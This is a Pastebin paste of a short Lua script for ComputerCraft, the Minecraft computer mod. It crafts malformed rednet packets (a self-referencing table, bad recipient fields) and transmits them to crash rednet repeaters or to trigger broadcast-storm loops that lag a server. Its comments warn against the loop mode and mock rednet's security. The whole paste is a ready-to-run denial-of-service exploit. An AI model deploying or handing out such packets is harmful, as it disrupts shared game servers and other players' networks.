Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local rec = {}
- rec.rec = rec
- local m = peripheral.find "modem"
- local msg = "Seriously, rednet is NOT GOOD. It lulls you into a false sense of security with its send-to-certain-IDs features but is actually as secure, if not less, as regular modem. Plus the repeaters are buggy and crashable. Anavrins, who I foolishly /trust-ed added the message beyond this point. My name is gollark, I'm a paranoid for security and I believe that people should not use basic feature of a mod because of it"
- local repeater_crash = {
- nMessageID = rec,
- nRecipient = -6,
- message = msg
- }
- local repeater_crash_old = {
- nMessageID = 42,
- nRecipient = msg,
- message = msg
- }
- -- WARNING: CAUSES LAG BY CREATING BROADCAST STORMS
- -- DO NOT USE
- -- ADDING THIS WAS PROBABLY UNWISE
- local repeater_loop = {
- nMessageID = {},
- nRecipient = 0,
- message = msg
- }
- local exploits = {
- loop = {
- send = rednet.CHANNEL_REPEAT,
- reply = rednet.CHANNEL_BROADCAST,
- message = repeater_loop
- },
- crash = {
- send = rednet.CHANNEL_REPEAT,
- reply = rednet.CHANNEL_BROADCAST,
- message = repeater_crash
- },
- crash_old = {
- send = rednet.CHANNEL_REPEAT,
- reply = rednet.CHANNEL_BROADCAST,
- message = repeater_crash_old
- }
- }
- local exp = exploits[... or "crash"]
- m.transmit(exp.send, exp.reply, exp.message)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement